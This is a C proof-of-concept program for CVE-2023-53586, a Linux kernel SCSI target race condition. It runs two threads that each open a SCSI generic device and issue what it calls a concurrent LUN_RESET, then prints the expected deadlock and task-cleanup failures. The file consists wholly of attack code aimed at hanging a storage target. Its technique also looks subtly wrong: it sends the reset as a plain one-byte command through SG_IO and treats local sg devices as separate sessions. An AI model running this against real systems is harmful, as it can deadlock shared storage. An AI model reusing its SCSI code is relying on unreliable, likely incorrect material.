// PoC for CVE-2023-53586: Linux kernel SCSI target multiple LUN_RESET race condition
// This PoC demonstrates the trigger conditions for the vulnerability.
// Note: Requires SCSI target setup with two sessions and running I/O commands.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <scsi/sg.h>
#include <scsi/scsi.h>
// Simulated SCSI device paths for two sessions
#define SESSION1_DEV "/dev/sg0"
#define SESSION2_DEV "/dev/sg1"
// Send LUN_RESET task management function
int send_lun_reset(int fd) {
unsigned char sense_buffer[32];
unsigned char data_buffer[1024];
sg_io_hdr_t io_hdr;
memset(&io_hdr, 0, sizeof(sg_io_hdr_t));
memset(sense_buffer, 0, sizeof(sense_buffer));
memset(data_buffer, 0, sizeof(data_buffer));
// TASK MANAGEMENT function for LUN_RESET (0x02)
unsigned char tm_data[8] = {0x02, 0, 0, 0, 0, 0, 0, 0};
io_hdr.interface_id = 'S';
io_hdr.cmd_len = sizeof(tm_data);
io_hdr.mx_sb_len = sizeof(sense_buffer);
io_hdr.dxfer_direction = SG_DXFER_NONE;
io_hdr.dxfer_len = 0;
io_hdr.dxferp = data_buffer;
io_hdr.cmdp = tm_data;
io_hdr.sbp = sense_buffer;
io_hdr.timeout = 30000;
return ioctl(fd, SG_IO, &io_hdr);
}
// Thread function to send LUN_RESET on session1
void* session1_reset(void* arg) {
int fd = open(SESSION1_DEV, O_RDWR);
if (fd < 0) {
perror("Failed to open session1 device");
return NULL;
}
printf("Session1: Sending LUN_RESET...\n");
send_lun_reset(fd);
printf("Session1: LUN_RESET completed\n");
close(fd);
return NULL;
}
// Thread function to send LUN_RESET on session2
void* session2_reset(void* arg) {
int fd = open(SESSION2_DEV, O_RDWR);
if (fd < 0) {
perror("Failed to open session2 device");
return NULL;
}
printf("Session2: Sending LUN_RESET...\n");
send_lun_reset(fd);
printf("Session2: LUN_RESET completed\n");
close(fd);
return NULL;
}
int main(int argc, char* argv[]) {
pthread_t thread1, thread2;
printf("CVE-2023-53586 PoC: Triggering race condition with concurrent LUN_RESET\n");
printf("Prerequisites:\n");
printf("1. Linux kernel with SCSI target configured\n");
printf("2. Two active sessions with running I/O commands\n");
printf("3. Affected kernel version (pre-patch)\n\n");
// Create two threads to send concurrent LUN_RESET
if (pthread_create(&thread1, NULL, session1_reset, NULL) != 0) {
perror("Failed to create thread1");
return 1;
}
if (pthread_create(&thread2, NULL, session2_reset, NULL) != 0) {
perror("Failed to create thread2");
return 1;
}
pthread_join(thread1, NULL);
pthread_join(thread2, NULL);
printf("\nExpected behavior on vulnerable kernel:\n");
printf("- session2 LUN_RESET returns success without cleaning commands\n");
printf("- Initiator may see invalid ITT errors or task lookup failures\n");
printf("- Potential deadlock between concurrent LUN_RESET operations\n");
return 0;
}